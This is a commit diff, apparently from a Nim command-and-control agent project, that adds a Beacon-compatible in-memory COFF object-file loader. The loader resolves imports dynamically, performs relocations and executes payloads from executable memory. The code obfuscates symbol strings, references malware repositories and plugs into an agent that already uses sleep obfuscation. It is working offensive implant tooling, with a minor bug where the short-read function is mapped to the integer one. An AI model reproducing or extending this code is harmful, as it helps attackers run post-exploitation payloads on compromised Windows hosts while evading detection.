Implemented COFF loader.
This commit is contained in:
@@ -27,3 +27,4 @@ requires "nimcrypto >= 0.6.4"
|
||||
requires "tiny_sqlite >= 0.2.0"
|
||||
requires "prologue >= 0.6.6"
|
||||
requires "winim >= 3.9.4"
|
||||
requires "ptr_math >= 0.3.0"
|
||||
86
src/agent/core/beacon.nim
Normal file
86
src/agent/core/beacon.nim
Normal file
@@ -0,0 +1,86 @@
|
||||
import winim/core
|
||||
|
||||
# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
|
||||
|
||||
type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
|
||||
proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
|
||||
proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
|
||||
proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
|
||||
proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
|
||||
|
||||
type datap* {.pure.} = object
|
||||
original: PCHAR
|
||||
buffer: PCHAR
|
||||
length: INT
|
||||
size: INT
|
||||
|
||||
const
|
||||
CALLBACK_OUTPUT* = 0x0
|
||||
CALLBACK_OUTPUT_OEM* = 0x1e
|
||||
CALLBACK_OUTPUT_UTF8* = 0x20
|
||||
CALLBACK_ERROR* = 0xd
|
||||
|
||||
proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
|
||||
if cast[int](parser) == 0:
|
||||
return
|
||||
parser.original = buffer
|
||||
parser.buffer = buffer
|
||||
parser.length = size - 4
|
||||
parser.size = size - 4
|
||||
parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
|
||||
|
||||
proc BeaconDataInt*(parser: ptr datap): INT =
|
||||
var fourbyteint: INT = 0
|
||||
if (parser.length < 4):
|
||||
return 0
|
||||
copyMem(fourbyteint.addr, parser.buffer, 4)
|
||||
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
|
||||
parser.length = cast[INT](cast[int](parser.length) - 4)
|
||||
|
||||
return fourbyteint
|
||||
|
||||
proc BeaconDataShort*(parser: ptr datap): SHORT =
|
||||
var retvalue: SHORT = 0
|
||||
if (parser.length < 2):
|
||||
return 0
|
||||
copyMem(retvalue.addr, parser.buffer, 2)
|
||||
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
|
||||
parser.length = cast[INT](cast[int](parser.length) - 2)
|
||||
|
||||
return retvalue
|
||||
|
||||
proc BeaconDataLength*(parser: ptr datap): INT =
|
||||
return parser.length
|
||||
|
||||
proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
|
||||
var
|
||||
length: INT = 0
|
||||
outdata: PCHAR = nil
|
||||
|
||||
if (parser.length < 4):
|
||||
return nil
|
||||
|
||||
copyMem(length.addr, parser.buffer, 4)
|
||||
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
|
||||
|
||||
outdata = parser.buffer
|
||||
if (outdata == nil):
|
||||
return nil
|
||||
|
||||
parser.length = cast[INT](cast[int](parser.length) - 4)
|
||||
parser.length = cast[INT](cast[int](parser.length) - length)
|
||||
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
|
||||
|
||||
if (size != nil) and (outdata != nil):
|
||||
size[] = length
|
||||
|
||||
return outdata
|
||||
|
||||
proc BeaconOutput*(typ: int, data: pointer, length: int): void =
|
||||
puts(data)
|
||||
|
||||
proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
|
||||
var va: va_list
|
||||
va_start(va, fmt)
|
||||
vprintf(fmt, va)
|
||||
va_end(va)
|
||||
427
src/agent/core/coff.nim
Normal file
427
src/agent/core/coff.nim
Normal file
@@ -0,0 +1,427 @@
|
||||
import winim/lean
|
||||
import os, strformat, strutils, ptr_math
|
||||
import ./beacon
|
||||
import ../../common/[types, utils, crypto]
|
||||
|
||||
import sugar
|
||||
|
||||
#[
|
||||
Object file loading involves the following steps
|
||||
1. Calculate and allocate memory required to hold the object file sections and symbols
|
||||
2. Copy option sections into the newly allocated memory
|
||||
3. Parse and resolve function symbols
|
||||
4. Perform section relocations
|
||||
5. Change memory protection and execute the entry point function
|
||||
|
||||
References:
|
||||
- https://maldevacademy.com/new/modules/51
|
||||
- https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim
|
||||
- https://github.com/frkngksl/NiCOFF/blob/main/Main.nim
|
||||
]#
|
||||
|
||||
# Type definitions
|
||||
type
|
||||
SECTION_MAP = object
|
||||
base: PVOID
|
||||
size: ULONG
|
||||
|
||||
PSECTION_MAP = ptr SECTION_MAP
|
||||
|
||||
OBJECT_CTX_UNION {.union.} = object
|
||||
base: ULONG_PTR
|
||||
header: PIMAGE_FILE_HEADER
|
||||
|
||||
OBJECT_CTX {.pure.} = object
|
||||
union: OBJECT_CTX_UNION
|
||||
symTbl: PIMAGE_SYMBOL
|
||||
symMap: ptr PVOID
|
||||
secMap: PSECTION_MAP
|
||||
sections: PIMAGE_SECTION_HEADER
|
||||
|
||||
POBJECT_CTX = ptr OBJECT_CTX
|
||||
|
||||
# For entry point execution
|
||||
EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.}
|
||||
|
||||
# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed)
|
||||
# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE))
|
||||
const PAGE_SIZE = 0x1000
|
||||
template PAGE_ALIGN(address: auto): uint =
|
||||
if cast[uint](address) mod PAGE_SIZE == 0:
|
||||
cast[uint](address)
|
||||
else:
|
||||
cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE)))
|
||||
|
||||
#[
|
||||
Calculates required memory size
|
||||
]#
|
||||
proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
|
||||
|
||||
var
|
||||
objRel: PIMAGE_RELOCATION
|
||||
objSym: PIMAGE_SYMBOL
|
||||
symbol: PSTR
|
||||
length: ULONG
|
||||
|
||||
var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||
|
||||
# Calculate size of the sections
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData))
|
||||
|
||||
# Calculate function map size
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
|
||||
|
||||
# Iterate over section relocations to retrieve symbols
|
||||
for j in 0 ..< int(sections[i].NumberOfRelocations):
|
||||
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
|
||||
# dump objSym.repr
|
||||
|
||||
# Retrieve symbol name
|
||||
if objSym.N.Name.Short != 0:
|
||||
# Short name
|
||||
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||
|
||||
else:
|
||||
# Long name
|
||||
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||
|
||||
# Check if symbol starts with `__ipm_` (imported functions)
|
||||
if ($symbol).startsWith("__imp_"):
|
||||
length += ULONG(sizeof(PVOID))
|
||||
# echo $symbol
|
||||
|
||||
# Handle next relocation item/symbol
|
||||
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||
|
||||
return ULONG(PAGE_ALIGN(length))
|
||||
|
||||
#[
|
||||
Symbol resolution
|
||||
]#
|
||||
proc strchr*(str: pointer, c: char): pointer =
|
||||
var pStr = cast[ptr char](str)
|
||||
while (pStr[] != '\0') and (pStr[] != c):
|
||||
pStr = cast[ptr char](cast[int](pStr) + 1)
|
||||
|
||||
if pStr[] == c:
|
||||
return cast[pointer](pStr)
|
||||
else:
|
||||
return nil
|
||||
|
||||
proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
||||
|
||||
var
|
||||
resolved: PVOID
|
||||
function: PSTR
|
||||
library: PSTR
|
||||
pos: PCHAR
|
||||
buffer: array[MAX_PATH, char]
|
||||
hModule: HANDLE
|
||||
|
||||
if symbol == NULL:
|
||||
return NULL
|
||||
|
||||
# Remove the `__imp_` prefix from the symbol (6 bytes)
|
||||
symbol = cast[PSTR](cast[uint](symbol) + 6)
|
||||
|
||||
# Check if the symbol is a Beacon API function
|
||||
if ($symbol).startsWith(protect("Beacon")):
|
||||
case $symbol:
|
||||
of protect("BeaconDataParse"):
|
||||
resolved = BeaconDataParse
|
||||
of protect("BeaconDataInt"):
|
||||
resolved = BeaconDataInt
|
||||
of protect("BeaconDataShort"):
|
||||
resolved = BeaconDataInt
|
||||
of protect("BeaconDataExtract"):
|
||||
resolved = BeaconDataExtract
|
||||
of protect("BeaconOutput"):
|
||||
resolved = BeaconOutput
|
||||
of protect("BeaconPrintf"):
|
||||
resolved = BeaconPrintf
|
||||
|
||||
else:
|
||||
# Resolve a external Win32 API function
|
||||
# For external APIs, we will need to parse symbols formatted as LIBRARY$Function
|
||||
|
||||
zeroMem(addr buffer[0], MAX_PATH)
|
||||
copyMem(addr buffer[0], symbol, ($symbol).len())
|
||||
|
||||
# Replace `$` to separate library and function
|
||||
pos = cast[PSTR](strchr(addr buffer[0], '$'))
|
||||
pos[] = '\0'
|
||||
|
||||
library = cast[PSTR](addr buffer[0])
|
||||
function = cast[PSTR](cast[uint](pos) + 1)
|
||||
|
||||
# Resolve the library instance
|
||||
hModule = GetModuleHandleA(library)
|
||||
if hModule == 0:
|
||||
hModule = LoadLibraryA(library)
|
||||
if hModule == 0:
|
||||
raise newException(CatchableError, fmt"Library {$library} not found.")
|
||||
|
||||
# Resolve the function from the loaded library
|
||||
resolved = GetProcAddress(hModule, function)
|
||||
if resolved == NULL:
|
||||
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
||||
|
||||
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||
|
||||
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
|
||||
|
||||
return resolved
|
||||
|
||||
#[
|
||||
Object relocation
|
||||
Arguments:
|
||||
- uType: Type of relocation to perform
|
||||
- pRelocAddress: Address where the relocation will be applied
|
||||
- pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur
|
||||
]#
|
||||
proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) =
|
||||
var
|
||||
offset32: ULONG32
|
||||
offset64: ULONG64
|
||||
|
||||
case(uType)
|
||||
of IMAGE_REL_AMD64_REL32:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32)
|
||||
of IMAGE_REL_AMD64_REL32_1:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1)
|
||||
of IMAGE_REL_AMD64_REL32_2:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2)
|
||||
of IMAGE_REL_AMD64_REL32_3:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3)
|
||||
of IMAGE_REL_AMD64_REL32_4:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4)
|
||||
of IMAGE_REL_AMD64_REL32_5:
|
||||
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5)
|
||||
of IMAGE_REL_AMD64_ADDR64:
|
||||
cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase)))
|
||||
else: discard
|
||||
|
||||
#[
|
||||
Section processing
|
||||
]#
|
||||
proc objectProcessSection(objCtx: POBJECT_CTX): bool =
|
||||
|
||||
var
|
||||
secBase: PVOID
|
||||
secSize: ULONG
|
||||
objRel: PIMAGE_RELOCATION
|
||||
objSym: PIMAGE_SYMBOL
|
||||
symbol: PSTR
|
||||
resolved: PVOID
|
||||
reloc: PVOID
|
||||
fnIndex: ULONG
|
||||
|
||||
var
|
||||
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||
symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap)
|
||||
|
||||
# Process and relocate object file sections
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
|
||||
|
||||
# Iterate over section relocations to retrieve symbols
|
||||
for j in 0 ..< int(sections[i].NumberOfRelocations):
|
||||
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
|
||||
|
||||
# Retrieve symbol name
|
||||
if objSym.N.Name.Short != 0:
|
||||
# Short name
|
||||
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||
|
||||
else:
|
||||
# Long name
|
||||
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||
|
||||
# Retrieve address to perform relocation
|
||||
reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress))
|
||||
resolved = NULL
|
||||
|
||||
# Check if symbol starts with `__ipm_` (imported functions)
|
||||
if ($symbol).startsWith("__imp_"):
|
||||
|
||||
# Resolve the imported function
|
||||
resolved = objectResolveSymbol(symbol)
|
||||
if resolved == NULL:
|
||||
return false
|
||||
|
||||
# Perform relocation on the imported function
|
||||
if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL):
|
||||
symMap[fnIndex] = resolved
|
||||
cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32)))
|
||||
inc fnIndex
|
||||
|
||||
else:
|
||||
secBase = secMap[objSym.SectionNumber - 1].base
|
||||
|
||||
# Perform relocation on the section
|
||||
objectRelocation(cast[ULONG](objRel.Type), reloc, secBase)
|
||||
|
||||
# Handle net relocation item/symbol
|
||||
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
|
||||
|
||||
return true
|
||||
|
||||
#[
|
||||
Object file execution
|
||||
Arguments:
|
||||
- objCtx: Object context
|
||||
- entry: Name of the entry function to be executed
|
||||
- args: Pointer to the address of the arguments passed to the object file
|
||||
- argc: Size of the arguments passed to the object file
|
||||
]#
|
||||
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool =
|
||||
|
||||
var
|
||||
objSym: PIMAGE_SYMBOL
|
||||
symbol: PSTR
|
||||
secBase: PVOID
|
||||
secSize: ULONG
|
||||
oldProtect: ULONG
|
||||
|
||||
var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSymbols):
|
||||
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i)
|
||||
|
||||
# Retrieve symbol name
|
||||
if objSym.N.Name.Short != 0:
|
||||
# Short name
|
||||
symbol = cast[PSTR](addr objSym.N.ShortName)
|
||||
|
||||
else:
|
||||
# Long name
|
||||
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
|
||||
|
||||
# Check if the function is defined within the object file
|
||||
if ISFCN(objSym.Type) and ($symbol == $entry):
|
||||
# Change the memory protection of the section to make it executable
|
||||
secBase = secMap[objSym.SectionNumber - 1].base
|
||||
secSize = secMap[objSym.SectionNumber - 1].size
|
||||
|
||||
# Change the memory protection from [RW-] to [R-X]
|
||||
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Execute BOF entry point
|
||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||
entryPoint(args, argc)
|
||||
|
||||
# Revert the memory protection change
|
||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
return true
|
||||
|
||||
return false
|
||||
|
||||
#[
|
||||
Loads, parses and executes a object file in memory
|
||||
|
||||
Arguments:
|
||||
- pObject: Base address of the object file in memory
|
||||
- sFunction: Name of the function to be executed, usually "go"
|
||||
- pArgs: Base address of the arguments to be passed to the function
|
||||
- uArgc: Size of the arguments passed to the function
|
||||
]#
|
||||
proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool =
|
||||
|
||||
var
|
||||
objCtx: OBJECT_CTX
|
||||
virtSize: ULONG
|
||||
virtAddr: PVOID
|
||||
secSize: ULONG
|
||||
secBase: PVOID
|
||||
|
||||
if pObject == NULL or sFunction == NULL:
|
||||
raise newException(CatchableError, "Arguments pObject and sFunction are required.")
|
||||
|
||||
# Parsing the object file's file header, symbol table and sections
|
||||
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
|
||||
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
|
||||
|
||||
# echo objCtx.union.header.repr
|
||||
# echo objCtx.symTbl.repr
|
||||
# echo objCtx.sections.repr
|
||||
|
||||
# Verifying that the object file's architecture is x64
|
||||
when defined(amd64):
|
||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
else:
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
|
||||
# Calculate required virtual memory
|
||||
virtSize = objectVirtualSize(addr objCtx)
|
||||
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
|
||||
|
||||
# Allocate memory
|
||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||
if virtAddr == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
# Allocate heap memory to store section map array
|
||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||
if objCtx.secMap == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
|
||||
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||
|
||||
# Set the section base to the allocated memory
|
||||
secBase = virtAddr
|
||||
|
||||
# Copy over sections into the newly allocated virtual memory
|
||||
var
|
||||
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
|
||||
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
|
||||
|
||||
echo "[*] Copying over sections."
|
||||
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
|
||||
secSize = sections[i].SizeOfRawData
|
||||
secMap[i].size = secSize
|
||||
secMap[i].base = secBase
|
||||
|
||||
# Copy over section data
|
||||
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
|
||||
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
|
||||
|
||||
# Get the next page entry
|
||||
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
|
||||
|
||||
# The last page of the memory is the symbol/function map
|
||||
objCtx.symMap = cast[ptr PVOID](secBase)
|
||||
|
||||
echo "[*] Processing sections and performing relocations."
|
||||
if not objectProcessSection(addr objCtx):
|
||||
raise newException(CatchableError, "Failed to process sections.")
|
||||
|
||||
# Executing the object file
|
||||
echo "[*] Executing."
|
||||
if not objectExecute(addr objCtx, sFunction, pArgs, uArgc):
|
||||
raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
|
||||
|
||||
return true
|
||||
|
||||
proc test*() =
|
||||
|
||||
var
|
||||
fileName = "whoami.x64.o"
|
||||
pObject = readFile(fileName)
|
||||
uLength: ULONG = cast[ULONG](pObject.len)
|
||||
|
||||
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
|
||||
|
||||
try:
|
||||
if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0):
|
||||
echo fmt"[-] Failed to inline-execute {fileName}"
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
@@ -3,8 +3,6 @@ import winim/inc/tlhelp32
|
||||
import os, system, strformat
|
||||
import ../../common/[types, utils, crypto]
|
||||
|
||||
import sugar
|
||||
|
||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
|
||||
# https://maldevacademy.com/new/modules/54
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import strformat, os, times, system, base64
|
||||
|
||||
import core/[http, context, sleepmask]
|
||||
import core/[http, context, sleepmask, coff]
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../modules/manager
|
||||
import ../common/[types, utils, crypto]
|
||||
|
||||
Reference in New Issue
Block a user